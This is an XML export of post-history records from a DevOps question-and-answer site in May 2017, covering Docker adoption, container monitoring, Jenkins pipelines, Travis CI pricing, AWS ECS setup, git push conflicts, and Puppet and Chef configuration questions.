  <row Id="3968" PostHistoryTypeId="2" PostId="1194" RevisionGUID="694f0e51-b98e-4aa0-90c9-5d652e3be98f" CreationDate="2017-05-17T23:26:14.480" UserId="2813" Text="By and large docker provides many advantages for both developers and operations personnel. I use docker for some of my applications and find it to be a very reliable and robust approach. My issue with you adopting docker is that I do not hear you asking the right questions and you could potentially make your life more complicated without addressing your most important requirements. The first question you should ask (you said that you were new) is how are updates to the OS &amp; application handled now? Does the current methodology work for you (your company)? What works well? What could be improved? Can you do a physical configuration audit on your target machines in the field to verify that they have the correct OS patches, application &amp; were there any unauthorized changes. I love docker, but I would not jump on the docker bandwagon without first assessing where you are right now including what works well and what needs to be improved.  - Bob" ContentLicense="CC BY-SA 3.0" />
  <row Id="3969" PostHistoryTypeId="2" PostId="1195" RevisionGUID="b1b34475-951d-44de-bc94-81f7c5595e60" CreationDate="2017-05-18T06:36:13.660" UserId="10" Text="[This article][1] explains the trouble with monitoring, but it doesn't provide any good examples of how to actually monitor a microservice inside of the docker container.&#xD;&#xA;&#xD;&#xA;We are currently using PM2 monit to monitor our microservices, but as we put them into docker containers we lose the ability to access this data within one screen for all the various microservices which each run in their own docker container.&#xD;&#xA;&#xD;&#xA;Dockerswarm monitoring will tell us the state of the containers, but not the microservice running inside of them.&#xD;&#xA;&#xD;&#xA;What's a solid proven way of solving this problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://techbeacon.com/how-healthy-your-dockerized-application" ContentLicense="CC BY-SA 3.0" />
  <row Id="3970" PostHistoryTypeId="1" PostId="1195" RevisionGUID="b1b34475-951d-44de-bc94-81f7c5595e60" CreationDate="2017-05-18T06:36:13.660" UserId="10" Text="How do you monitor Node Micro services running inside of Docker Containers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3971" PostHistoryTypeId="3" PostId="1195" RevisionGUID="b1b34475-951d-44de-bc94-81f7c5595e60" CreationDate="2017-05-18T06:36:13.660" UserId="10" Text="&lt;docker&gt;&lt;monitoring&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3972" PostHistoryTypeId="2" PostId="1196" RevisionGUID="fd0066b0-bbfa-4419-8e3f-e77639f03f19" CreationDate="2017-05-18T09:35:25.333" UserId="707" Text="What are available - free and commercial - solutions to create reports about components used in a software project (physically, set of source code repositories), with intelligence on features like security situation and license model of used open source components?&#xD;&#xA;One prominent example is - or was - Nexus Enterprise, but are there other solutions?&#xD;&#xA;An open source monitor that comes to my mind is the Census project for security monitoring:&#xD;&#xA;https://github.com/linuxfoundation/cii-census" ContentLicense="CC BY-SA 3.0" />
  <row Id="3973" PostHistoryTypeId="1" PostId="1196" RevisionGUID="fd0066b0-bbfa-4419-8e3f-e77639f03f19" CreationDate="2017-05-18T09:35:25.333" UserId="707" Text="What are known component intelligence tools?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3974" PostHistoryTypeId="3" PostId="1196" RevisionGUID="fd0066b0-bbfa-4419-8e3f-e77639f03f19" CreationDate="2017-05-18T09:35:25.333" UserId="707" Text="&lt;security&gt;&lt;nexus&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3975" PostHistoryTypeId="2" PostId="1197" RevisionGUID="8183305c-472d-4b29-9cbb-90be9f82f6db" CreationDate="2017-05-18T12:06:00.457" UserId="2822" Text="I have no experience with it myself, but Elastalert (http://elastalert.readthedocs.io/en/latest/elastalert.html) sounds like what you need (for the alarms/threshold part)&#xD;&#xA;&#xD;&#xA;But besides that, it sounds like your interested in monitoring. In my opinion ELK is not a classic monitoring tool (more: data collection, data processing and data visualization). You should take a look at Icinga2 (https://www.icinga.com/products/icinga-2/) which can can be configured highly dynamical and is compatible with nagios plugins" ContentLicense="CC BY-SA 3.0" />
  <row Id="3976" PostHistoryTypeId="5" PostId="1143" RevisionGUID="aaeef793-ceb4-40d2-8a54-7803b0d6c8d9" CreationDate="2017-05-18T12:13:40.017" UserId="2708" Comment="setting DEBIAN_FRONTEND=noninteractive is sufficient" Text="This sequence of commands works for me:&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;    DEBIAN_FRONTEND=noninteractive apt-get upgrade -yq&#xD;&#xA;&#xD;&#xA;So, `DEBIAN_FRONTEND=noninteractive` is correct but you also need the `-q` flag.&#xD;&#xA;&#xD;&#xA;Source: https://github.com/moby/moby/issues/4032&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3977" PostHistoryTypeId="2" PostId="1198" RevisionGUID="1cbb61bf-0b41-4d4f-ae54-060578304477" CreationDate="2017-05-18T13:29:06.473" UserId="270" Text="One commonly used solution(not container-specific) is to build a health check API within your service which tests all the functionality you want monitored (say availability of DBs and other dependencies) and the app itself, and returns some expected output (say &lt; service &gt;: &lt; status &gt;). You can then trigger alerts from a monitoring service like Nagios if this API does not return an ok for all the services. This will also fail if the microservice itself is unhealthy.&#xD;&#xA;&#xD;&#xA;This approach also has the benefit of running a functional test of your service (by hitting an API end point).&#xD;&#xA;&#xD;&#xA;This approach does not cover some edge cases though - eg. the microservice runs (but particular APIs fail)." ContentLicense="CC BY-SA 3.0" />
  <row Id="3978" PostHistoryTypeId="5" PostId="986" RevisionGUID="a216019e-51ab-4073-b073-c861904cbee8" CreationDate="2017-05-18T17:17:34.593" UserId="1132" Comment="tagging, typos, question Q&amp;A made better" Text="I've been interested in converting our bespoke Jenkins integrations into a pipeline. However, I can't seem to figure out how to do it.&#xD;&#xA;&#xD;&#xA;Can anyone help me with the Jenkins script that could do the following?&#xD;&#xA;&#xD;&#xA;    1---2---3-----------9---10&#xD;&#xA;        |           |&#xD;&#xA;        |---4-------|&#xD;&#xA;        |           |&#xD;&#xA;        |---5---6---|&#xD;&#xA;            |       |&#xD;&#xA;            |---7---|&#xD;&#xA;    &#xD;&#xA;    1: Start pipeline&#xD;&#xA;    10: End pipeline&#xD;&#xA;    5: Build some files&#xD;&#xA;       * needed by 6, 7,&#xD;&#xA;       * needed as artifacts at the end&#xD;&#xA;    2, 3, 4, 6, 7: Have jUnit result files, should be available at end of&#xD;&#xA;       test (somewhere), even if one failed&#xD;&#xA;&#xD;&#xA;Is this even possible? Or should I just join after 3, 4, 5? Like this:&#xD;&#xA;&#xD;&#xA;    1---2---3-------6-------9---10&#xD;&#xA;        |       |   |   |&#xD;&#xA;        |---4---|   7---|&#xD;&#xA;        |       |&#xD;&#xA;        |---5---|&#xD;&#xA;&#xD;&#xA;Glad to hear your feedback!" ContentLicense="CC BY-SA 3.0" />
  <row Id="3979" PostHistoryTypeId="4" PostId="986" RevisionGUID="a216019e-51ab-4073-b073-c861904cbee8" CreationDate="2017-05-18T17:17:34.593" UserId="1132" Comment="tagging, typos, question Q&amp;A made better" Text="How to build a complex parallel Jenkins pipline?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3980" PostHistoryTypeId="6" PostId="986" RevisionGUID="a216019e-51ab-4073-b073-c861904cbee8" CreationDate="2017-05-18T17:17:34.593" UserId="1132" Comment="tagging, typos, question Q&amp;A made better" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;build-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3981" PostHistoryTypeId="24" PostId="986" RevisionGUID="a216019e-51ab-4073-b073-c861904cbee8" CreationDate="2017-05-18T17:17:34.593" Comment="Proposed by 1132 approved by 40, -1 edit id of 346" ContentLicense="CC BY-SA 3.0" />
  <row Id="3982" PostHistoryTypeId="4" PostId="986" RevisionGUID="0fdb6c80-0963-41d0-a323-c34e41f35cc6" CreationDate="2017-05-18T17:17:34.593" UserId="14" Comment="tagging, typos, question Q&amp;A made better" Text="How to build a complex parallel Jenkins pipeline?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3984" PostHistoryTypeId="2" PostId="1200" RevisionGUID="898ed0bc-d215-475b-b021-24beb969573c" CreationDate="2017-05-18T19:38:35.847" UserId="2830" Text="I'm not sure if you can do this without a loop. But you should be able to run the below in bash and get the right output:&#xD;&#xA;&#xD;&#xA;    instances=`aws ec2 describe-instances --region us-east-1 --filters Name=instance-state-name,Values=running --query &quot;Reservations[*].Instances[0].InstanceId&quot; --output text`&#xD;&#xA;&#xD;&#xA;    for instance in $instances; &#xD;&#xA;    do  &#xD;&#xA;       aws ec2 describe-volumes --region us-east-1 --filters Name=encrypted,Values=true Name=attachment.status,Values=attached Name=attachment.instance-id,Values=$instance --query &quot;Volumes[]&quot;; &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This will return all information on the volumes. For the ID you can change the `describe-volumes` line to:&#xD;&#xA;&#xD;&#xA;    aws ec2 describe-volumes --filters Name=encrypted,Values=false Name=attachment.status,Values=attached Name=attachment.instance-id,Values=$instance --query &quot;Volumes[].Attachments[].VolumeId&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3985" PostHistoryTypeId="6" PostId="981" RevisionGUID="b31c155e-644d-4113-8c53-d6c681d6d1c1" CreationDate="2017-05-18T21:06:58.360" UserId="2449" Comment="Add GitHub tag" Text="&lt;travis-ci&gt;&lt;github&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3986" PostHistoryTypeId="2" PostId="1201" RevisionGUID="72cbe121-998f-48f9-9c05-1a188ec453f6" CreationDate="2017-05-18T21:28:31.520" UserId="2449" Text="A few of the GitHub projects I contribute to use Travis Ci for build testing. However, I've noticed that some projects use https://travis-ci.org/ for build testing, while others use https://travis-ci.com/. Both site seem to function identically, even down to using the same UI.&#xD;&#xA;&#xD;&#xA;**What's the difference between [travis-ci.org][1] and [travis-ci.com][2], and why do some projects use one over the other?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://travis-ci.org/&#xD;&#xA;  [2]: https://travis-ci.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3987" PostHistoryTypeId="1" PostId="1201" RevisionGUID="72cbe121-998f-48f9-9c05-1a188ec453f6" CreationDate="2017-05-18T21:28:31.520" UserId="2449" Text="What's the difference between travis-ci.org and travis-ci.com?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3988" PostHistoryTypeId="3" PostId="1201" RevisionGUID="72cbe121-998f-48f9-9c05-1a188ec453f6" CreationDate="2017-05-18T21:28:31.520" UserId="2449" Text="&lt;travis-ci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3989" PostHistoryTypeId="2" PostId="1202" RevisionGUID="9ffc6b8e-4183-40a3-a784-ca727bbf0e07" CreationDate="2017-05-18T21:28:31.520" UserId="2449" Text="### [travis-ci.com][1] is a paid service for private commercial projects.&lt;br&gt; [travis-ci.org][2] is a free service for public open source projects.&#xD;&#xA;&#xD;&#xA;###  Aside from pricing model, the two sites are identical.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[From the FAQ page for Travis Pro][3]&#xD;&#xA;&#xD;&#xA;&gt; ### Why can’t I find information on pricing on travis-ci.org?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Travis CI is, and always will be, free for open source projects.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For a list of plans and prices for private repositories, look at&#xD;&#xA;&gt; [travis-ci.com/plans][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://travis-ci.com/&#xD;&#xA;  [2]: https://travis-ci.org/&#xD;&#xA;  [3]: https://docs.travis-ci.com/user/travis-pro/#Why-can%E2%80%99t-I-find-information-on-pricing-on-travis-ci.org%3F&#xD;&#xA;  [4]: https://travis-ci.com/plans" ContentLicense="CC BY-SA 3.0" />
  <row Id="3990" PostHistoryTypeId="2" PostId="1203" RevisionGUID="05b2a24b-9829-4e27-9e6f-67362063a9a8" CreationDate="2017-05-19T01:16:09.227" UserId="2765" Text="AWS provide different services and categories them on base of computation, storage, databases, management, Analytics, Messaging, Developer Tools etc.&#xD;&#xA;&#xD;&#xA;**ECS** comes under the computing services.&#xD;&#xA;&#xD;&#xA;Amazon EC2 Container Service (ECS) – Container Management for the AWS Cloud&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&gt; Run your applications packaged as Docker containers.EC2 Container Service (or ECS for short). This service will make it easy for you to run any number of Docker containers across a managed cluster of Amazon Elastic Compute Cloud (EC2) instances using powerful APIs and other tools. You do not have to install cluster management software, purchase and maintain the cluster hardware, or match your hardware inventory to your software needs when you use ECS. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here I will explain the steps to set up the docker based application in ECS and terminology.&#xD;&#xA;&#xD;&#xA; 1. **Cluster:** A **cluster** is a pool of EC2 instances in a particular AWS Region, all managed by ECS. One cluster can contain multiple instance types and sizes, and can reside within one or more Availability Zones.&#xD;&#xA;&#xD;&#xA;This is the first step to creating ECS.before anything you need cluster it can be default or you can create new one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 2. **EC2 Instance type:** In cluster you need to choose the Amazon EC2 instance type for your container instances. The instance type that you select determines the resources available for your tasks to run on.&#xD;&#xA;&#xD;&#xA;Amazon Elastic Compute Cloud (Amazon EC2) is a web service that provides secure, resizable compute capacity in the cloud.it's like your PC you can install mongo, MySQL (for MySQL RDS is best), PHP, node or whatever you want in it.While Creating EC2 you have to define which OS you want to use in ec2.You can access EC2 using **pem file**  that will be provided by AWS during creating ec2.[https://aws.amazon.com/ec2/][1]&#xD;&#xA;&#xD;&#xA; 3.  **Container:** – A container is a packaged (or “Dockerized,” as the cool kids like to say) application component. Each EC2 instance in a cluster can serve as a host to one or more containers.&#xD;&#xA;For every task definition, you need to specify container which tells about CPU, memory and other resources.&#xD;&#xA;&#xD;&#xA; 4. **ECR Registries** Amazon EC2 Container Registry (Amazon ECR) is a managed AWS Docker registry service that is secure, scalable, and reliable. Amazon ECR supports private Docker repositories with resource-based permissions using AWS IAM so that specific users or Amazon EC2 instances can access repositories and images. Developers can use the Docker CLI to push, pull, and manage images.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Once the above environment is ready you can place task or start services.&#xD;&#xA; &#xD;&#xA; 5. **Task definition:** A task definition is like a blueprint for your application. In this step, you will specify a task definition so Amazon ECS knows which Docker image to use for containers, how many containers to use in the task, and the resource allocation for each container.&#xD;&#xA;&#xD;&#xA; 6.  **service** services manage the task that you have created.once you have created a task definition, you will configure the Amazon ECS service. A service launches and maintains copies of the task definition in your cluster. For example, by running an application as a service, Amazon ECS will **auto-recover** any stopped tasks and maintain the number of copies you specify.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**NOTE**: Elastic load Balancing can be setup before any thing done. when you want to create services you can configure with load balancer.load balancer conttain target group and container which need to be balanced.[https://aws.amazon.com/elasticloadbalancing/][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 7. **Elastic Load Balancing** Elastic Load Balancing automatically distributes incoming application traffic across multiple Amazon EC2 instances. It enables you to achieve fault tolerance in your applications, seamlessly providing the required amount of load balancing capacity needed to route application traffic&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/ec2/&#xD;&#xA;  [2]: https://aws.amazon.com/elasticloadbalancing/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3991" PostHistoryTypeId="2" PostId="1204" RevisionGUID="2cf11e2b-bc44-439e-91ea-24492ce103b0" CreationDate="2017-05-19T02:39:52.813" UserId="2834" Text="In my workplace, we are using a monolithic repo. It contains many project and micro services that run on different Jenkins pipeline. I know that using [Promoted Build Plugin][1], we can promote build of tested artifact. &#xD;&#xA;&#xD;&#xA;However as our projects depend on projects that run on a separate pipeline, I am wondering if the [Promoted Build Plugin][1] is able to promote artifact to a different pipeline. Or can the pipeline that is running head over to a separate &quot;place&quot; to take the last tested artifact and use it as part of its own pipeline criteria?&#xD;&#xA;&#xD;&#xA;The reason we want to do this is because of integration test that depend on the existent of another build artifact. We want to be able to test on the latest build artifact that is on another pipeline. Would be even better if we can select base on the tag/version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/promoted-builds-plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="3992" PostHistoryTypeId="1" PostId="1204" RevisionGUID="2cf11e2b-bc44-439e-91ea-24492ce103b0" CreationDate="2017-05-19T02:39:52.813" UserId="2834" Text="Jenkins Promote Build across different pipeline?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3993" PostHistoryTypeId="3" PostId="1204" RevisionGUID="2cf11e2b-bc44-439e-91ea-24492ce103b0" CreationDate="2017-05-19T02:39:52.813" UserId="2834" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3994" PostHistoryTypeId="5" PostId="1202" RevisionGUID="c3323ca3-e8d5-44b7-b5c6-a32aa344bc4b" CreationDate="2017-05-19T06:25:42.770" UserId="2449" Comment="Specify public vs private access" Text="### [travis-ci.com][1] is a paid service for private commercial projects.&lt;br&gt; [travis-ci.org][2] is a free service for public open source projects.&#xD;&#xA;&#xD;&#xA;###  Aside from pricing model and public/private access, the two sites are identical.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[From the FAQ page for Travis Pro][3]&#xD;&#xA;&#xD;&#xA;&gt; ### Why can’t I find information on pricing on travis-ci.org?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Travis CI is, and always will be, free for open source projects.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For a list of plans and prices for private repositories, look at&#xD;&#xA;&gt; [travis-ci.com/plans][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://travis-ci.com/&#xD;&#xA;  [2]: https://travis-ci.org/&#xD;&#xA;  [3]: https://docs.travis-ci.com/user/travis-pro/#Why-can%E2%80%99t-I-find-information-on-pricing-on-travis-ci.org%3F&#xD;&#xA;  [4]: https://travis-ci.com/plans" ContentLicense="CC BY-SA 3.0" />
  <row Id="3995" PostHistoryTypeId="5" PostId="1201" RevisionGUID="c7f2d042-cf4d-4e0f-ab93-f8ad583629c0" CreationDate="2017-05-19T06:35:34.750" UserId="2449" Comment="edited body" Text="A few of the GitHub projects I contribute to use Travis CI for build testing. However, I've noticed that some projects use https://travis-ci.org/ for build testing, while others use https://travis-ci.com/. Both site seem to function identically, even down to using the same UI.&#xD;&#xA;&#xD;&#xA;**What's the difference between [travis-ci.org][1] and [travis-ci.com][2], and why do some projects use one over the other?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://travis-ci.org/&#xD;&#xA;  [2]: https://travis-ci.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3997" PostHistoryTypeId="5" PostId="1141" RevisionGUID="57b828a6-e079-494b-8189-1849db14f95e" CreationDate="2017-05-19T12:56:08.780" UserId="2714" Comment="added 157 characters in body" Text="I'm trying to evaluate whether or not it is a good idea to move away from a devops-style workflow to the traditional dev-then-ops (not sure what you call that).&#xD;&#xA;&#xD;&#xA;We are a small 5 person department tucked away within a 4000 employee traditional media (eg non-software) company.  Two years ago we began building software to allow our department to significantly scale up our production. We've been pretty successful and the greater company is beginning to take notice.  To date, we have been solely responsible for the design, development and deployment of what has become a ~10 service AWS microservice platform.  Our team doesn't identify as DevOps, but without question we are living the DevOps life, with each developer intimately familiar with both the code and the system it runs on.&#xD;&#xA;&#xD;&#xA;One of the questions we will face shortly is what &quot;efficiencies&quot; are shared between us and the IT department for our parent company. Our project owner usually prefers outsourcing over in-house learning, so in our case these efficiencies probably means getting as much IT work &quot;off our plate&quot; as possible.  Currently, I would say our team has a 70/30% split between experience in coding vs infrastructure.  The IT department is solidly in the IT realm, with no visible crossover into software development.&#xD;&#xA;&#xD;&#xA;Our project owner (a non-technical individual) is hoping that by handing off as much work as possible to the IT team we will see a ~1:1 boost in productivity for each hour of operations work that we shed. I'm skeptical about this though.  Our product is still pre-beta (despite already being a significant business asset) and in our limited experience with the IT department there are usually significant delays for things as simple as filesystem permission changes.&#xD;&#xA;&#xD;&#xA;Right now, my ideal solution would be for the IT department to &quot;adopt&quot; us and allow us to continue deploying our own work, while ensuring that we meet the standards &amp; requirements of the IT office.  I'm not sure how realistic that is though.  Plus it is nearly the opposite approach our project owner is advocating since it would add additional operations work in the short term.&#xD;&#xA;&#xD;&#xA;In our situation, what are the likely pros/cons of staying with DevOps approach vs handing off IT?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3999" PostHistoryTypeId="2" PostId="1205" RevisionGUID="53495611-3bdf-4079-ad4e-e8a59f2c53cf" CreationDate="2017-05-19T13:37:25.883" UserId="465" Text="Our build system at work is a series of [Go][1] pipelines with go agents running in [docker][2] containers on a docker cluster. It compiles java and runs tests. This is in a financial services institution. &#xD;&#xA;&#xD;&#xA;I've experienced some pushback in my workplace about the perceived complexities of using docker for running compiles and tests. To counter this I've written lots of documentation, and run training courses. &#xD;&#xA;&#xD;&#xA;There [are][3] [some][4] [comments][5] [online][6] [that][7] [docker][8] is [complex][9]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In the [Adrian Cockcroft][10] [videos][11], he mentions that in some cases they had to hire Google-level engineers, to wrap their heads around the concepts of distributed computing. In another video he mentions that it took them seven years to achieve their vision of containerisation. &#xD;&#xA;&#xD;&#xA;My question is: **Is there evidence to suggest that the Docker/Hashicorp ecosystem requires a higher calibre of software development engineer?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.thoughtworks.com/go/&#xD;&#xA;  [2]: https://www.docker.com/&#xD;&#xA;  [3]: https://news.ycombinator.com/item?id=12876264&#xD;&#xA;  [4]: https://news.ycombinator.com/item?id=13583990&#xD;&#xA;  [5]: https://news.ycombinator.com/item?id=12930414&#xD;&#xA;  [6]: https://news.ycombinator.com/item?id=12883163&#xD;&#xA;  [7]: https://news.ycombinator.com/item?id=9927349&#xD;&#xA;  [8]: https://news.ycombinator.com/item?id=11942192&#xD;&#xA;  [9]: https://news.ycombinator.com/item?id=12779796&#xD;&#xA;  [10]: https://www.battery.com/our-team/member/adrian-cockcroft/&#xD;&#xA;  [11]: https://www.google.com.au/search?biw=1190&amp;bih=704&amp;tbm=vid&amp;q=netflix%20docker%20adrian%20cockcroft&amp;oq=netflix%20docker%20adrian%20cockcroft&amp;gs_l=serp.3...19347.23489.0.23673.19.15.0.0.0.0.661.2531.3-4j1j1.6.0....0...1.1.64.serp..14.4.1428...33i160k1j33i21k1.Ea4XNsHYLKQ" ContentLicense="CC BY-SA 3.0" />
  <row Id="4000" PostHistoryTypeId="1" PostId="1205" RevisionGUID="53495611-3bdf-4079-ad4e-e8a59f2c53cf" CreationDate="2017-05-19T13:37:25.883" UserId="465" Text="Is there evidence to suggest that the Docker/Hashicorp ecosystem requires a higher calibre of software development engineer?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4001" PostHistoryTypeId="3" PostId="1205" RevisionGUID="53495611-3bdf-4079-ad4e-e8a59f2c53cf" CreationDate="2017-05-19T13:37:25.883" UserId="465" Text="&lt;containers&gt;&lt;learning&gt;&lt;team-role&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4002" PostHistoryTypeId="2" PostId="1206" RevisionGUID="9c70b93f-ab5e-44a2-9136-210e5390b070" CreationDate="2017-05-19T14:07:16.720" UserId="736" Text="A while ago I had written about how commits were being merged (successfully) into our develop branch in Git, but would later go missing, with no evidence of the missing code other than all the Bitbucket logs proving the merge happened. &#xD;&#xA;&#xD;&#xA;We just figured out yesterday that what's happening is Jenkins clones our repo, then holds it for up to 40+ minutes while jobs run, then pushes back with `git push origin +develop`. This is essentially overwriting any commits we've made in that 40+ minutes as Jenkins pushes back the branch exactly as it saw it on the clone, and minus our additions. &#xD;&#xA;&#xD;&#xA;We thought the solution would be to change to &#xD;&#xA;&#xD;&#xA;    git pull --rebase origin&#xD;&#xA;    git push origin develop&#xD;&#xA;&#xD;&#xA;but that's returning &#xD;&#xA;&#xD;&#xA;    + git pull --rebase origin&#xD;&#xA;    error: Cannot pull with rebase: You have unstaged changes.&#xD;&#xA;&#xD;&#xA;What's the correct git procedure to avoid this issue?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4003" PostHistoryTypeId="1" PostId="1206" RevisionGUID="9c70b93f-ab5e-44a2-9136-210e5390b070" CreationDate="2017-05-19T14:07:16.720" UserId="736" Text="Jenkins pushing to branch overwrites commits made in interim" ContentLicense="CC BY-SA 3.0" />
  <row Id="4004" PostHistoryTypeId="3" PostId="1206" RevisionGUID="9c70b93f-ab5e-44a2-9136-210e5390b070" CreationDate="2017-05-19T14:07:16.720" UserId="736" Text="&lt;jenkins&gt;&lt;git&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4007" PostHistoryTypeId="2" PostId="1208" RevisionGUID="963ddf35-3bb7-47cb-87ef-b9edc8543075" CreationDate="2017-05-19T15:11:21.087" UserId="2845" Text="I have tried making REST calls with puppet and it was... well... awful. I didn't really want to use pure ruby to interact with my load balancer and my concern was that for REST calls, every time the puppet run occurs I would be idempotently slamming my web server with a ton of requests - first checking if a particular item is out of spec and then possibly resetting it. Using curl via an exec and an unless statement was arduous to say the least.&#xD;&#xA;&#xD;&#xA;Furthermore, the [idempotent philosophy](https://puppet.com/blog/idempotence-not-just-a-big-and-scary-word) of puppet doesn't always play well with REST APIs that are [not idempotent](https://softwareengineering.stackexchange.com/questions/260818/why-patch-method-is-not-idempotent).&#xD;&#xA;&#xD;&#xA;Are there any simple ways, ready-made methods or plugins for dealing with REST APIs via puppet?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4008" PostHistoryTypeId="1" PostId="1208" RevisionGUID="963ddf35-3bb7-47cb-87ef-b9edc8543075" CreationDate="2017-05-19T15:11:21.087" UserId="2845" Text="What is the best way to do REST with puppet?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4009" PostHistoryTypeId="3" PostId="1208" RevisionGUID="963ddf35-3bb7-47cb-87ef-b9edc8543075" CreationDate="2017-05-19T15:11:21.087" UserId="2845" Text="&lt;puppet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4011" PostHistoryTypeId="2" PostId="1209" RevisionGUID="6adfa7c2-4bbf-42b0-a94b-df12a4c37992" CreationDate="2017-05-19T15:42:00.027" UserId="2845" Text="What you will lose by fitting into the IT organization is the &quot;Dev&quot; part of your little DevOps team. When teams become segmented into artificial roles of NetOps, SysOps and Dev, you introduce the following problems:&#xD;&#xA;&#xD;&#xA; 1. **Un-needed red tape and isolation** - To do anything the developers will have to submit a ticket to IT and wait for them to implement it. They will no longer be able to implement and interact with it themselves - up to and including their Dev and QA instances which will limit what infrastructure they can code out. They are stuck at the VM barrier instead of being able to code on the full stack. If what they submit to IT looks like DevOps code, they will be ill-equipped to handle it and might revert back to manual deployments.&#xD;&#xA; 2. **Neglect** - Alternatively, they may just deploy it as is and then neglect the beast because they don't know how to interact with it - and they aren't developers, so code is not their problem.&#xD;&#xA; 3. **Outages** - One of the oft overlooked benefits of DevOps is it's programmatic nature. Sure, it might take longer to deploy that server by treating it as code, but this automates out human mistakes. The way it went into dev is they way it will go into QA/Test is the way it will go into prod, thereby reducing outages. When developers lose access to the network equipment they need to deploy their service or the compute infrastructure not only does it take longer, but it introduces more fallible humans which will cause more outages.&#xD;&#xA; 4. **Documentation** - In some senses, DevOps code is self docuementing. You know how the server was built and deployed because the code tells you. In 5 years, when it is time for an upgrade to CentOS 8 or whatever, no one will know how to deploy your application anymore - including at the network, storage, monitoring and backup layers.&#xD;&#xA;&#xD;&#xA;In short, you should suggest that your project owner take the time to read The [Mythical Man-Month](https://www.amazon.com/Mythical-Man-Month-Software-Engineering-Anniversary/dp/0201835959/ref=sr_1_1?ie=UTF8&amp;qid=1495208269&amp;sr=8-1&amp;keywords=Mythical+Man+Month) to disabuse him or her of the notion that you will see a 1:1 relationship in productivity and [The Phoenix Project](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/0988262509/ref=sr_1_1?ie=UTF8&amp;qid=1495208349&amp;sr=8-1&amp;keywords=The+Phoenix+Project) which is a good novelized (and entertaining) illustration of what is gained and lost by using DevOps in non-technical language for non-technical people. If the project owner has any sort of commute an Audible audiobook of The Phoenix Project is available. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4013" PostHistoryTypeId="2" PostId="1210" RevisionGUID="6bcc5c00-7435-4bf5-8dc6-5a3686e6069d" CreationDate="2017-05-19T16:22:18.770" UserId="1208" Text="I need to install a jenkins on a server using a user jenkinsuser and group jenkinsgroup. so in my recipe I defined as &#xD;&#xA;`&#xD;&#xA;   #group&#xD;&#xA;    group jenkinsgroup do&#xD;&#xA;    system true&#xD;&#xA;    end&#xD;&#xA;    # creates user&#xD;&#xA;    user jenkinsuser do&#xD;&#xA;    gid jenkinsgroup&#xD;&#xA;    system true&#xD;&#xA;    end`&#xD;&#xA;&#xD;&#xA;but what will happen if the user and group exist already in node(where I am trying to install jenkins) &#xD;&#xA;Does my resource do nothing as a user and group exists and go for next steps or will it throw an error as user exists. Thanks...&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4014" PostHistoryTypeId="1" PostId="1210" RevisionGUID="6bcc5c00-7435-4bf5-8dc6-5a3686e6069d" CreationDate="2017-05-19T16:22:18.770" UserId="1208" Text="User management using chef" ContentLicense="CC BY-SA 3.0" />
  <row Id="4015" PostHistoryTypeId="3" PostId="1210" RevisionGUID="6bcc5c00-7435-4bf5-8dc6-5a3686e6069d" CreationDate="2017-05-19T16:22:18.770" UserId="1208" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
